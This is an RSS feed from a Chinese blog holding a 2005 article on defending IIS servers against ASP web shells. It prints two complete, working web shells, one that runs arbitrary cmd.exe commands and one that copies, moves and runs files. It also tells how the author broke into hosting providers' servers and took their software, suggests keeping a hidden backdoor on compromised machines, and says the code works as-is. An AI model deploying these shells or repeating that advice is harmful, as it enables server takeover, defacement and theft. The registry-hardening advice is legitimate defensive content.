<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[虫虫的blog  SINCE2004]]></title> 
<link>http://www.zhenghe.biz/index.php</link> 
<description><![CDATA[人生幻灯片  -   前半生(身)，不要怕；后半生(身)，不要悔！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[虫虫的blog  SINCE2004]]></copyright>
<item>
<link>http://www.zhenghe.biz/read.php/.htm</link>
<title><![CDATA[服务器如何防范asp木马]]></title> 
<author>网络毛毛虫 &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Mon, 23 May 2005 16:55:10 +0000</pubDate> 
<guid>http://www.zhenghe.biz/read.php/.htm</guid> 
<description>
<![CDATA[ 
	随着ASP 技术的发展，网络上基于ASP技术开发的网站越来越多，对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门，也越来越多，而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能，所以这种ASP脚本的木马后门，不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性，对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除，为我们的网管人员提出了更高的技术要求。下面我结合个人的经验，谈一下对两款比较典型的ASP 木马的防范方法，希望对大家能够有所帮助。<br />以下是第一款木马的代码：<br />&lt;title&gt;ASP Shell&lt;/title&gt; <br />&lt;%@ Language=VBScript %&gt;<br />&lt;%<br />Dim oScript<br />Dim oScriptNet<br />Dim oFileSys, oFile<br />Dim szCMD, szTempFile<br />On Error Resume Next<br />-- create the COM objects that we will be using -- <br />Set oScript = Server.CreateObject(&quot;WSCRIPT.SHELL&quot;)<br />Set oScriptNet = Server.CreateObject(&quot;WSCRIPT.NETWORK&quot;)<br />Set oFileSys = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br />-- check for a command that we have posted -- <br />szCMD = Request.Form(&quot;.CMD&quot;)<br />If (szCMD &lt;&gt; &quot;&quot;) Then<br />-- Use a poor mans pipe ... a temp file -- <br />szTempFile = &quot;C:&quot; &amp; oFileSys.GetTempName( )<br />Call oScript.Run (&quot;cmd.exe /c &quot; &amp; szCMD &amp; &quot; &gt; &quot; &amp; szTempFile, 0, True)<br />Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)<br />End If<br />%&gt;<br />&lt;HTML&gt;<br />&lt;BODY&gt;<br />&lt;FORM action=&quot;&lt;%= Request.ServerVariables(&quot;URL&quot;) %&gt;&quot; method=&quot;POST&quot;&gt;<br />&lt;input type=text name=&quot;.CMD&quot; size=45 value=&quot;&lt;%= szCMD %&gt;&quot;&gt;<br />&lt;input type=submit value=&quot;执行命令&quot;&gt;<br />&lt;/FORM&gt;<br />&lt;PRE&gt;&lt;%<br />If (IsObject(oFile)) Then<br />-- Read the output from our command and remove the temp file -- <br />On Error Resume Next<br />Response.Write Server.HTMLEncode(oFile.ReadAll)<br />oFile.Close<br />Call oFileSys.DeleteFile(szTempFile, True)<br />End If<br />%&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br />运行后如下图： 在命令行里输入DIR命令点执行就可以查看目录了！！它可以使用各种DOS命令，如：copy、net、netstat等。<br />但是它的默认执行权限只有GUEST，也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组，那么你就有管理员权限了。这一款木马的特点是，使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO（无组件上传），那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用，所以它相对的适用范围较窄。<br />对于防范方法让我们看一下它的代码就知道了：<br />Set oScript = Server.CreateObject(&quot;WSCRIPT.SHELL&quot;) ＂建立了一个名为oScript的WSCRIPT.SHELL对象，用于命令的执行＂<br />Set oScriptNet = Server.CreateObject(&quot;WSCRIPT.NETWORK&quot;)<br />Set oFileSys = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)　<br />上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象，我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图：值得注意的是：我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下：Set oScript = Server.CreateObject(&quot;WSCRIPT.SHELL.1&quot;) 这个后门木马就又可以执行了。<br />大家可能已经想到了，我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时，一定要不容易被黑客们猜到，因为例如：你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成：Set oScript = Server.CreateObject(&quot;WSCRIPT.SHELL888&quot;)，木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务，设置才会有效。<br />接下来让我们再来看下一款ASP后门木马程序的代码：<br />&lt;%response.write &quot;&lt;font size=6 color=red&gt;一次只能执行一个xx作&lt;/font&gt;&quot; %&gt; <br />&lt;%response.write now()%&gt;&lt;BR&gt;程序所在的物理路径： <br />&lt;%response.write request.servervariables(&quot;APPL_PHYSICAL_PATH&quot;)%&gt; <br />&lt;html&gt; <br />&lt;title&gt;asps shell.application backdoor &lt;/title&gt; <br />&lt;body&gt; <br />&lt;form action=&quot;&lt;%= Request.ServerVariables(&quot;URL&quot;) %&gt;&quot; method=&quot;POST&quot;&gt; <br />&lt;input type=text name=text value=&quot;&lt;%=szCMD %&gt;&quot;&gt; 输入要浏览的目录&lt;br&gt; <br />&lt;input type=text name=text1 value=&quot;&lt;%=szCMD1 %&gt;&quot;&gt; <br />copy <br />&lt;input type=text name=text2 value=&quot;&lt;%=szCMD2 %&gt;&quot;&gt;&lt;br&gt; <br />&lt;input type=text name=text3 value=&quot;&lt;%=szCMD3 %&gt;&quot;&gt; <br />move <br />&lt;input type=text name=text4 value=&quot;&lt;%=szCMD4 %&gt;&quot;&gt;&lt;br&gt; <br />路径：&lt;input type=text name=text5 value=&quot;&lt;%=szCMD5 %&gt;&quot;&gt; <br />程序：&lt;input type=text name=text6 value=&quot;&lt;%=szCMD6 %&gt;&quot;&gt;&lt;br&gt; <br />&lt;input type=submit name=sb value=发送命令&gt; <br />&lt;/form&gt; <br />&lt;/body&gt; <br />&lt;/html&gt; <br />&lt;% <br />szCMD = Request.Form(&quot;text&quot;) 目录浏览 <br />if (szCMD &lt;&gt; &quot;&quot;) then <br />set shell=server.createobject(&quot;shell.application&quot;) 建立shell对象 <br />set fod1=shell.namespace(szcmd) <br />set foditems=fod1.items <br />for each co in foditems <br />response.write &quot;&lt;font color=red&gt;&quot; &amp; co.path &amp; &quot;-----&quot; &amp; co.size &amp; &quot;&lt;/font&gt;&lt;br&gt;&quot; <br />next <br />end if <br />%&gt; &lt;% <br />szCMD1 = Request.Form(&quot;text1&quot;) 目录拷贝，不能进行文件拷贝 <br />szCMD2 = Request.Form(&quot;text2&quot;) <br />if szcmd1&lt;&gt;&quot;&quot; and szcmd2&lt;&gt;&quot;&quot; then <br />set shell1=server.createobject(&quot;shell.application&quot;) 建立shell对象 <br />set fod1=shell1.namespace(szcmd2) <br />for i=len(szcmd1) to 1 step -1 <br />if mid(szcmd1,i,1)=&quot;&quot; then <br />path=left(szcmd1,i-1) <br />exit for <br />end if <br />next <br />if len(path)=2 then path=path &amp; &quot;&quot; <br />path2=right(szcmd1,len(szcmd1)-i) <br />set fod2=shell1.namespace(path) <br />set foditem=fod2.parsename(path2) <br />fod1.copyhere foditem <br />response.write &quot;command completed success!&quot; <br />end if <br />%&gt; &lt;% <br />szCMD3 = Request.Form(&quot;text3&quot;) 目录移动 <br />szCMD4 = Request.Form(&quot;text4&quot;) <br />if szcmd3&lt;&gt;&quot;&quot; and szcmd4&lt;&gt;&quot;&quot; then <br />set shell2=server.createobject(&quot;shell.application&quot;) 建立shell对象 <br />set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 <br />if mid(szcmd3,i,1)=&quot;&quot; then <br />path=left(szcmd3,i-1) <br />exit for <br />end if <br />next if len(path)=2 then path=path &amp; &quot;&quot; <br />path2=right(szcmd3,len(szcmd3)-i) <br />set fod2=shell2.namespace(path) <br />set foditem=fod2.parsename(path2) <br />fod1.movehere foditem <br />response.write &quot;command completed success!&quot; <br />end if <br />%&gt; <br />&lt;% <br />szCMD5 = Request.Form(&quot;text5&quot;) 执行程序要指定路径 <br />szCMD6 = Request.Form(&quot;text6&quot;) <br />if szcmd5&lt;&gt;&quot;&quot; and szcmd6&lt;&gt;&quot;&quot; then <br />set shell3=server.createobject(&quot;shell.application&quot;) 建立shell对象 <br />shell3.namespace(szcmd5).items.item(szcmd6).invokeverb <br />response.write &quot;command completed success!&quot; <br />end if <br />%&gt;<br />要查看目录，只要输入相应的目录，点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE，和执行程序。但很多命令都不能用，例如：del、net、netstat等。这个木马程的功能随然简单，但是用它来黑一个网站是足够了。比如，我们可以把网站的首页MOVE到其它地方，然后我们再COPY一个同名的黑客网页进去，就行了。<br /><br />最要命的是这个木马适用于任何虚拟主机之中，也就是说我只要是服务器中的一个虚拟空间的用户，我就可以传这个木马上去，并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话，那真是死定了。<br />然而在我的实践中发现，中国很多的虚拟空间服务商，特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN，然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来，太难听了，应该说DOWN下来的才对。<br />言归正传，我们应该怎样来防范这个ASP后门木马程序呢？让我们看一下它其中的这一句代码：set shell=server.createobject(&quot;shell.application&quot;)，跟刚才的方法一样,我们只要把&quot;shell.application&quot;项和&quot;shell.application.1&quot;项改名或删除就可以了。记住了，如果是改名，要改得复杂一点，不要让黑客们一下就猜到了。顺便说一句，如果是你给肉鸡打补丁最好是改名，并把名字记下来，这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门，以及如何防范ASP木马后门做一下总结：第一款木马功能上强大一些， 但适用范围窄，需要FSO支持也就是&quot;Scripting.FileSystemObject&quot;项的支持。第二款木马虽然功能上少一些，但它创建的是&quot;shell.application&quot;对象。在任何虚拟主机中都适用。（这一点危害确实太大了，提供支持ASP空间的管理员们，你们可得注意了！）<br /><br />其实跟据对上面两款ASP木马后门的防范，大家可能已经想到了，对于ASP后门木马的防范，我们只要在注册表中把&quot;shell.application&quot;、&quot;WSCRIPT.SHELL&quot;等危险的脚本对象（因为它们都是用于创建脚本命令通道的）进行改名或删除，也就是限制系统对“脚本SHELL”的创建，ASP木马也就成为无本之木、无米之炊，运行不起来了。<br />注：以上代码复制保存为ASP文件就可以直接使用了。 <img height="1" src="http://www.moon-soft.com/download/down_info.asp?id=1614" width="1" border="0" /><br />
]]>
</description>
</item><item>
<link>http://www.zhenghe.biz/read.php/.htm#blogcomment</link>
<title><![CDATA[[评论] 服务器如何防范asp木马]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.zhenghe.biz/read.php/.htm#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>